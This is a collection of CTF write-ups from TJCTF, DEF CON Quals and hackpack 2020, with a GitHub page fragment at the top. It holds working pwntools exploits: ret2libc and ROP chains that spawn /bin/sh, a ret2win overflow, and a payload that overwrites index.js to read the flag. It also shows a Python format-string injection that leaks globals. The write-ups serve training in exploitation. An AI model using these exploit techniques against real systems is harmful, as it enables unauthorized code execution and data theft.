</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# TJCTF 2020
## Stop
> 70>> I love playing stop, but I am tired of losing. Check out my new [stop answer generator](stop)!>> It's a work in progress and only has a few categories, but it's 100% bug-free!> > `nc p1.tjctf.org 8001`>> Written by KyleForkBomb
Tags: _pwn_ _x86-64_ _bof_ _remote-shell_ _rop_ _libc_
## Summary
Leak libc address and version, return to `main` for a second exploit, get a shell, get the flag.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Some mitigations. !GOT. No shellcode. But, we have ROPtions (no PIE). Stack left wide open, too.
### Decompile with Ghidra

Lines 8 and 34 together are the vulnerability; a buffer (`local_118`) of `256` bytes, but read allows `0x256` (598) bytes. Before we can do anything interesting we'll have to leak the address and version of libc. Since there's no loop, we'll also have to return to main for a second pass.
`local_118` is `0x118` bytes above the return address:
``` undefined8 RAX:8 <RETURN> undefined4 Stack[-0xc]:4 local_c undefined4 Stack[-0x10]:4 local_10 undefined4 Stack[-0x14]:4 local_14 undefined4 Stack[-0x18]:4 local_18 undefined1 Stack[-0x118]:1 local_118```
Both attacks will write out `0x118` bytes to get to the return address.
## Exploit
### Attack Plan
1. Leak libc address and version and return to main2. Get a shell, get the flag
### Leak libc address and version and return to main
```python#!/usr/bin/python3
from pwn import *
#p = process('./stop')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')p = remote('p1.tjctf.org', 8001)libc = ELF('libc-database/db/libc6_2.27-3ubuntu1_amd64.so')
binary = ELF('./stop')
context.clear(arch='amd64')rop = ROP('stop')try: pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]except: print("no ROP for you!") sys.exit(1)
p.recvuntil('Which letter? ')p.sendline('A')p.recvuntil('Category? ')
payload = b''payload += 0x118 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(binary.got['printf'])payload += p64(binary.plt['printf'])payload += p64(pop_rdi + 1)payload += p64(binary.symbols['main'])
p.sendline(payload)p.recvline()p.recvline()_ = p.recv(6)```
Since there's no PIE we do not need to worry about leaking the base process address. All we need is a `pop rdi` gadget and have `printf` print its own address.
> The extra returns (`payload += p64(pop_rdi + 1)`) is required to align the stack, see [Blind Piloting](https://github.com/datajerk/ctf-write-ups/blob/master/b01lersctf2020/blind-piloting/README.md) for a lengthly example and explanation.
After sending `0x118` bytes to get to the return address, we just pop a return, then pop the address of `printf` from the GOT, then call `printf` to print it, then align the stack again , and then return to main for a second run.
With the `printf` address leaked (`_ = p.recv(6)`) we can search for the version using the [libc-database](https://github.com/niklasb/libc-database) `find` command with the last three nibbles of the `printf` address:
```# libc-database/find printf e80 | grep -v 386http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)```
Then rerun with:
```libc = ELF('libc-database/db/libc6_2.27-3ubuntu1_amd64.so')```
to then leak the base address of libc:
```printf = u64(_ + 2*b'\x00')print('printf:',hex(printf))baselibc = printf - libc.symbols['printf']print('baselibc:',hex(baselibc))```
> You'll know you got this right if the last three digits of the libc address is all zeros. See output below.
### Get a shell, get the flag
```pythonp.recvuntil('Which letter? ')p.sendline('A')p.recvuntil('Category? ')
payload = b''payload += 0x118 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(baselibc + next(libc.search(b"/bin/sh")))payload += p64(baselibc + libc.symbols['system'])
p.sendline(payload)p.interactive()```
For the second pass, align the stack, pop the address of the string `/bin/sh` from libc, and then _return_ to `system` to get a shell:
```# ./exploit.py[+] Opening connection to p1.tjctf.org on port 8001: Done[*] '/pwd/datajerk/tjctf2020/stop/libc-database/db/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/tjctf2020/stop/stop' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] Loaded 15 cached gadgets for 'stop'printf: 0x7f4877692e80baselibc: 0x7f487762e000[*] Switching to interactive mode
Sorry, we don't have that category yet$ cat flag.txttjctf{st0p_th4t_r1ght_now}``` |
### Short summary
We're given a file containing the execution trace of a standard CTF RE problem. It contains the instructions executed with a hash of the memory address of the instruction, but not the actual data. With that start point, we were able to extract the functions and the basic blocks of the program, along with the path that was executed. I reversed the assembly, and determined the original program build a self-balancing binary tree based on the input. Based on the execution path taken, I could find out which nodes in the tree were accessed when each character in the flag was added.
With the rebuilt tree structure and knowing which tree nodes corresponded to each index of the flag, I was able to built a list of constraints for the flag. For example, the farthest left value leaf of the tree was accessed by flag indices 8,11,17,22,26,30,34,39,44,51. We thus know that all of those characters in the flag have the same value (space in this case), and all other nodes in the tree must have higher ascii values. I dumped all possible strings that fit these constraints (~480k in total), and found the one that was the most human readable, which was the flag.
[Full writeup](https://github.com/WilliamParks/ctf_writeups/tree/master/ctf_writeups/defcon_quals_2020/flag-hunting) |
# Zipped Up
This challenge was a fairly standard recursive archive extraction challengewith a slight twist in that the file containing the flag isn't actually theone nested the deepest.
The code rather speaks for itself, so without further ado, here it is.
```pyimport tarfile, iofrom zipfile import ZipFileimport sys
sys.setrecursionlimit(100000)
def handle(name, data): if name.endswith('.txt'): if b'n0t_th3_fl4g' not in data: print(data) quit() elif '.tar' in name: extract_tar(data, name.split('.')[-1]) elif '.kz3' in name: extract_zip(data)
def extract_zip(data): dat = io.BytesIO() dat.write(data) dat.seek(0) zip_file = ZipFile(dat)
for name in zip_file.namelist(): data = zip_file.read(name) handle(name, data)
def extract_tar(data, mode): dat = io.BytesIO() dat.write(data) dat.seek(0) tar_file = tarfile.open(fileobj=dat, mode='r:' + mode)
for i in tar_file: data = tar_file.extractfile(i).read() handle(i.name, data)
if __name__ == '__main__': extract_tar(open('1.tar.bz2', 'rb').read(), 'bz2')``` |
# hackpack ctf 2020
## pwn
### jsclean
Flag: flag{Js_N3v3R_FuN_2_Re4d}
Workflow:input a js filename and file contentthe server will write the content to the js fileFinally, the server will call index.js which jsclean(beautify) the code you've just written
```lang=cp = subprocess.run(['/usr/local/bin/node','index.js','-f',js_name],stdout=subprocess.PIPE);```
Solution: overwrite the index.js to read flag.txt
#### payload
```lang=cinput filename: index.jsintput content: var fs = require('fs'); data = fs.readFileSync("flag.txt"); console.log(data.toString())```
### mouseTrap
flag: flag{C0nTr0l_S1Z3_4_$h3LL}
Basic BoF, without canary, PIERead function with overwritten buffer, call the call_me function to rce
**remark**: Simply jump to function call_me will cause movaps error, which implies stack alignment issue, so jump to the line which calls system_plt instead
#### payload
```lang=cfrom pwn import *
r = remote('cha.hackpack.club',41719)flag = p64(0x40071b) # system_plt
payload = 'abcdefghijklmnopqrstuvwx' + p64(0x200)context.arch='amd64'r.recvuntil("Name: ")r.send(payload)r.recvuntil(": ")bof = "b" * 0x18 + flagr.send(bof)r.interactive()
```
### Climb
flag: flag{w0w_A_R34L_LiF3_R0pp3r!}
ROP + ret2plt
call readplt and write binsh to bss sectionthen set rdi to the string /bin/sh and call system_plt
**Remark**: There is also stack-alignment(movaps error) issue in this challenge, so insert a ret in the ROP for stack alignment
#### payload
```lang=cfrom pwn import *
pop_rdi = p64(0x0000000000400743)pop_rdx = p64(0x0000000000400654)pop_rsi_r15 = p64(0x0000000000400741)ret = p64(0x00000000004004fe)
bss = p64(0x601090)callme = p64(0x0000000000400530)readplt = p64(0x0000000000400550)
r = remote('cha.hackpack.club', 41702)ropchain = flat( ret, # movaps stack alignment pop_rdi, p64(0x0), pop_rdx, p64(0x8), pop_rsi_r15, bss, p64(0x0), readplt, pop_rdi, bss, callme)
payload = 'a' * 40 + ropchain
r.recvuntil("? ")r.send(payload)r.send("/bin/sh\0")r.interactive()```
### Humpty Dumpty's SSH Account
**Failed**
Shell, bash command, try to become superuser |
# Seashells

Yet another binary exploitation challenge. You can find the binary [here](seashells).
I decompiled it in [ghidra](https://ghidra-sre.org/) again, to have a look at the code.
```cvoid shell(long param_1){ if (param_1 == -0x2152350145414111) { system("/bin/sh"); } return;}
undefined8 main(void){ int iVar1; char local_12 [10];
setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("Welcome to Sally\'s Seashore Shell Shop"); puts("Would you like a shell?"); gets(local_12); iVar1 = strcasecmp(local_12,"yes"); if (iVar1 == 0) { puts("sorry, we are out of stock"); } else { puts("why are you even here?"); } return 0;}```
Looks we have to overwrite the return address on the stack to return to the `shell` function. Because `gets` is used, we should have no trouble doing this.
I quickly found the padding needed to get to the return address using gdb, and I started making my script.
Decompiling the assembly code of `shell` in ghidra looks like this:
```(gdb) disas shellDump of assembler code for function shell: 0x00000000004006c7 <+0>: push %rbp 0x00000000004006c8 <+1>: mov %rsp,%rbp 0x00000000004006cb <+4>: sub $0x10,%rsp 0x00000000004006cf <+8>: mov %rdi,-0x8(%rbp) 0x00000000004006d3 <+12>: movabs $0xdeadcafebabebeef,%rax 0x00000000004006dd <+22>: cmp %rax,-0x8(%rbp) 0x00000000004006e1 <+26>: jne 0x4006ef <shell+40> 0x00000000004006e3 <+28>: lea 0x13e(%rip),%rdi # 0x400828 0x00000000004006ea <+35>: callq 0x4005c0 <system@plt> 0x00000000004006ef <+40>: nop 0x00000000004006f0 <+41>: leaveq 0x00000000004006f1 <+42>: retq End of assembler dump.(gdb)```
I copied the hexadecimal address of the start of `shell` and put it in my script.
```pythonfrom pwn import *
if 'rem' in sys.argv: r = remote('p1.tjctf.org', 8009)elif 'file' in sys.argv: class getPayload: def __init__(self): self.payload = b'' def send(self, oper): self.payload += oper def interactive(self): file = open('payload', 'wb') file.write(self.payload) file.close() r = getPayload()else: r = process('./seashells')
padding = b'B9alaLbY4ealaLbY4e'
r.send(padding)r.send(p64(0x4006c7))r.send(b'\n')
r.interactive()```
Problem is, how do we add the operand if the function? It has to be equal to `0xdeadcafebabebeef`, or else you won't get a shell!
I made my own [test script](test.c) with the call to the function in main to see how operands are handled.
Code:
```cvoid shell(long param_1) { if (param_1 == -0x2152350145414111) { system("/bin/sh"); } return;}
int main() { shell(-0x2152350145414111);}```
Then I compiled the program. As you can see, all it does is launch a shell. That's exactly what we want to do on the server.
```jordan@notyourcomputer:~/CTF-writeups/TJCTF2020/seashells$ ./test$ lschall.png payload README.md seashells sol.py test test.c$ cat test.cvoid shell(long param_1) { if (param_1 == -0x2152350145414111) { system("/bin/sh"); } return;}
int main() { shell(-0x2152350145414111);}$ exitjordan@notyourcomputer:~/CTF-writeups/TJCTF2020/seashells$```
Here's the decompilation of `main` from gdb:
```(gdb) disas mainDump of assembler code for function main: 0x0000000000001166 <+0>: push %rbp 0x0000000000001139 <+4>: sub $0x10,%rsp 0x0000000000001167 <+1>: mov %rsp,%rbp 0x000000000000116a <+4>: movabs $0xdeadcafebabebeef,%rdi 0x0000000000001174 <+14>: callq 0x1135 <shell> 0x0000000000001179 <+19>: mov $0x0,%eax 0x000000000000117e <+24>: pop %rbp 0x000000000000117f <+25>: retq End of assembler dump.```
As you can see, in `main` the operand is stored in `rdi` before the function is executed. We only have control over the stack, not any registers, so it seems like we hit a dead end. It is not possible to overwrite the parameter of this function because of this.
I soon realized that I don't have to jump to a beginning of a function, I can jump to wherever I want!
Let's look at `shell` again in the seashells binary:
```Dump of assembler code for function shell: 0x00000000004006c7 <+0>: push %rbp 0x00000000004006c8 <+1>: mov %rsp,%rbp 0x00000000004006cb <+4>: sub $0x10,%rsp```
The first two instructions are at the start of every function, and we don't need to worry about that. 16 bytes are also reserved on that stack, and that's not too important right now.
```0x00000000004006cf <+8>: mov %rdi,-0x8(%rbp)0x00000000004006d3 <+12>: movabs $0xdeadcafebabebeef,%rax0x00000000004006dd <+22>: cmp %rax,-0x8(%rbp)0x00000000004006e1 <+26>: jne 0x4006ef <shell+40>```
There is the code that compares the argument with `0xdeadcafebabebeef`. We can't control the argument, so is there anyway to skip this?
```0x00000000004006e3 <+28>: lea 0x13e(%rip),%rdi # 0x4008280x00000000004006ea <+35>: callq 0x4005c0 <system@plt>```
And here's the shellcode! We can just simply jump to this address instead, that would make it much more simple.
So, in our python script, instead of writing the address of `shell` (0x4006c7), we can write the address of the actual shellcode! (0x4006e3) That makes much more sense!
```pythonpadding = b'B9alaLbY4ealaLbY4e'
r.send(padding)r.send(p64(0x4006e3))r.send(b'\n')
r.interactive()```
```$ py sol.py rem[+] Opening connection to p1.tjctf.org on port 8009: Done[*] Switching to interactive modeWelcome to Sally's Seashore Shell ShopWould you like a shell?why are you even here?$ lsbinflag.txtliblib64seashells$ cat flag.txttjctf{she_s3lls_se4_sh3ll5}$```
Flag: `tjctf{she_s3lls_se4_sh3ll5}` |
# DEF CON CTF Qualifier 2020 – dogooos
* **Category:** web* **Points:** 151
## Challenge
> DogOOOs is a new website where members can rate pictures of dogs. We think there might still be a few bugs, can you check it out? In this challenge, the flag is located in the root directory of the server at /flag.> > http://dogooos.challenges.ooo:37453> > dogooos.challenges.ooo 37453> > Files:> > [dogooo_comments.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/dogooo_comments.py) a881e06d1d70809ffdc9149a5be5b5de6796542f2ed2225fd43d451fde2c8c78> > [loaddata.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/loaddata.py) 0b57622ec86e02c0d8726538161dffb1e13ba1a18b7538354c12f762e4947c23
[Official solution here.](https://github.com/o-o-overflow/dc2020q-dogooos-public)
## Solution
The website allows you to upload and comment pictures of dogs.
There is an interesting endpoint at `/dogooo/runcmd` that contains a remote shell functionality, but it can't be used due to an `HTTP 502 Bad Gateway` error caused by the presence of `seccomp` filter, which prevents `execve`.
Several functionalities can be used only by authenticated users (i.e. `@login_required` annotations). There is an endpoint that can be used to create new users (i.e. `/dogooo/user/create`), but even this functionality requires the login.
A public functionality is the `/dogooo/deets/<postid>` that can be used to insert a new comment under a picture.
The comment is inserted with a two-step procedure:1. the comment is inserted like a preview and showed into the webpage;2. the content of the comment is strictly validated and inserted into the database.
Analyzing the code for the first step, in the [loaddata.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/loaddata.py) file, an interesting line of code can be found into `get_comments` function.
```pythondef get_comments(self): out = "" for ccnt, cmt in enumerate(self.comments): fmt_cmt = cmt.comment.format(rating=self.__dict__) form_save = f""" <form action="/dogooo/deets/add/{self.id}" method="POST"> <input type=hidden id="comment" name="comment" value='{fmt_cmt}'></textarea> <input type=hidden id="commenter" name="commenter" value='{cmt.author}'/> <input type=submit value="Save" /> </form> """ if cmt.preview: out += f"{fmt_cmt} - {cmt.author} {form_save} \n" else: out += f"{fmt_cmt} - {cmt.author}\n"
return out```
The interesting line is the following.
```fmt_cmt = cmt.comment.format(rating=self.__dict__)```
It seems that if you use a format string like `{rating}` into the comment text, then the content of `self.__dict__` can be printed.
Trying it, the following content will be printed into the preview webpage.
```html{'id': 3, 'rating': 13, '_message': "This is Griffey. His St. Patrick's Day bow tie didn't arrive until this morning. Politely requests that everyone celebrate again. 13/10", 'pic_loc': 'images/img_3.jpg', 'author': 'demidog', 'comments': [<app.loaddata.Comment object at 0x7fc4eaadf160>, <app.loaddata.Comment object at 0x7fc4eaadf1f0>, <app.loaddata.Comment object at 0x7fc4eaadf1c0>, <app.loaddata.Comment object at 0x7fc4eaadf280>, <app.loaddata.Comment object at 0x7fc4eaadf3d0>, <app.loaddata.Comment object at 0x7fc4eaadf430>, <app.loaddata.Comment object at 0x7fc4eaadf490>, <app.loaddata.Comment object at 0x7fc4eaadf4f0>, <app.loaddata.Comment object at 0x7fc4eaadf550>, <app.loaddata.Comment object at 0x7fc4eaadf5b0>, <app.loaddata.Comment object at 0x7fc4eaadf610>, <app.loaddata.Comment object at 0x7fc4eaadf670>, <app.loaddata.Comment object at 0x7fc4eaadf6d0>, <app.loaddata.Comment object at 0x7fc4eaadf730>, <app.loaddata.Comment object at 0x7fc4eaadf790>, <app.loaddata.Comment object at 0x7fc4eaadf7f0>, <app.loaddata.Comment object at 0x7fc4eaadf850>, <app.loaddata.Comment object at 0x7fc4eaadf8b0>, <app.loaddata.Comment object at 0x7fc4eaadf910>, <app.loaddata.Comment object at 0x7fc4eaadf970>, <app.loaddata.Comment object at 0x7fc4eaadf9d0>, <app.loaddata.Comment object at 0x7fc4eaadfa30>, <app.loaddata.Comment object at 0x7fc4eaadfa90>, <app.loaddata.Comment object at 0x7fc4eaadfaf0>, <app.loaddata.Comment object at 0x7fc4eaadfb50>, <app.loaddata.Comment object at 0x7fc4eaadfbb0>, <app.loaddata.Comment object at 0x7fc4eaadfc10>, <app.loaddata.Comment object at 0x7fc4eaadfc70>, <app.loaddata.Comment object at 0x7fc4eaadfcd0>, <app.loaddata.Comment object at 0x7fc4eaadfd30>, <app.loaddata.Comment object at 0x7fc4eaadfd90>, <app.loaddata.Comment object at 0x7fc4eaadfdf0>, <app.loaddata.Comment object at 0x7fc4eaadfe50>, <app.loaddata.Comment object at 0x7fc4eaadfeb0>, <app.loaddata.Comment object at 0x7fc4eaadff10>, <app.loaddata.Comment object at 0x7fc4eaadff70>, <app.loaddata.Comment object at 0x7fc4eaadffd0>, <app.loaddata.Comment object at 0x7fc4eaae6070>, <app.loaddata.Comment object at 0x7fc4eaae60d0>, <app.loaddata.Comment object at 0x7fc4eaae6130>, <app.loaddata.Comment object at 0x7fc4eaae6190>, <app.loaddata.Comment object at 0x7fc4eaae61f0>, <app.loaddata.Comment object at 0x7fc4eaae6250>, <app.loaddata.Comment object at 0x7fc4eaae62b0>, <app.loaddata.Comment object at 0x7fc4eaae6310>, <app.loaddata.Comment object at 0x7fc4eaae6370>, <app.loaddata.Comment object at 0x7fc4eaae63d0>, <app.loaddata.Comment object at 0x7fc4eaae6430>, <app.loaddata.Comment object at 0x7fc4eaae6490>, <app.loaddata.Comment object at 0x7fc4eaae64f0>, <app.loaddata.Comment object at 0x7fc4eaae6550>, <app.loaddata.Comment object at 0x7fc4eaae65b0>, <app.loaddata.Comment object at 0x7fc4eaae6610>, <app.loaddata.Comment object at 0x7fc4eaae6670>, <app.loaddata.Comment object at 0x7fc4eaae66d0>, <app.loaddata.Comment object at 0x7fc4eaae6730>, <app.loaddata.Comment object at 0x7fc4eaae6790>, <app.loaddata.Comment object at 0x7fc4eaae67f0>, <app.loaddata.Comment object at 0x7fc4eaae6850>, <app.loaddata.Comment object at 0x7fc4eaae68b0>, <app.loaddata.Comment object at 0x7fc4eaae6910>, <app.loaddata.Comment object at 0x7fc4eaae6970>, <app.loaddata.Comment object at 0x7fc4eaae69d0>, <app.loaddata.Comment object at 0x7fc4eaae6a30>, <app.loaddata.Comment object at 0x7fc4eaae6a90>, <app.loaddata.Comment object at 0x7fc4eaae6af0>, <app.loaddata.Comment object at 0x7fc4eaae6b50>, <app.loaddata.Comment object at 0x7fc4eaae6bb0>, <app.loaddata.Comment object at 0x7fc4eaae6c10>, <app.loaddata.Comment object at 0x7fc4eaae6c70>, <app.loaddata.Comment object at 0x7fc4eaae6cd0>, <app.loaddata.Comment object at 0x7fc4eaae6d30>, <app.loaddata.Comment object at 0x7fc4eaae6d90>, <app.loaddata.Comment object at 0x7fc4eaae6df0>, <app.loaddata.Comment object at 0x7fc4eab30af0>]} - author```
As you can read [here](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), this code can be abused to read secret data.
The following code can be used to access *globals* objects.
```python{rating[comments][0].__class__.__init__.__globals__}```
It will give the following output.
```html{'__name__': 'app.loaddata', '__doc__': None, '__package__': 'app', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fc4ed1f4670>, '__spec__': ModuleSpec(name='app.loaddata', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fc4ed1f4670>, origin='./app/loaddata.py'), '__file__': './app/loaddata.py', '__cached__': './app/__pycache__/loaddata.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 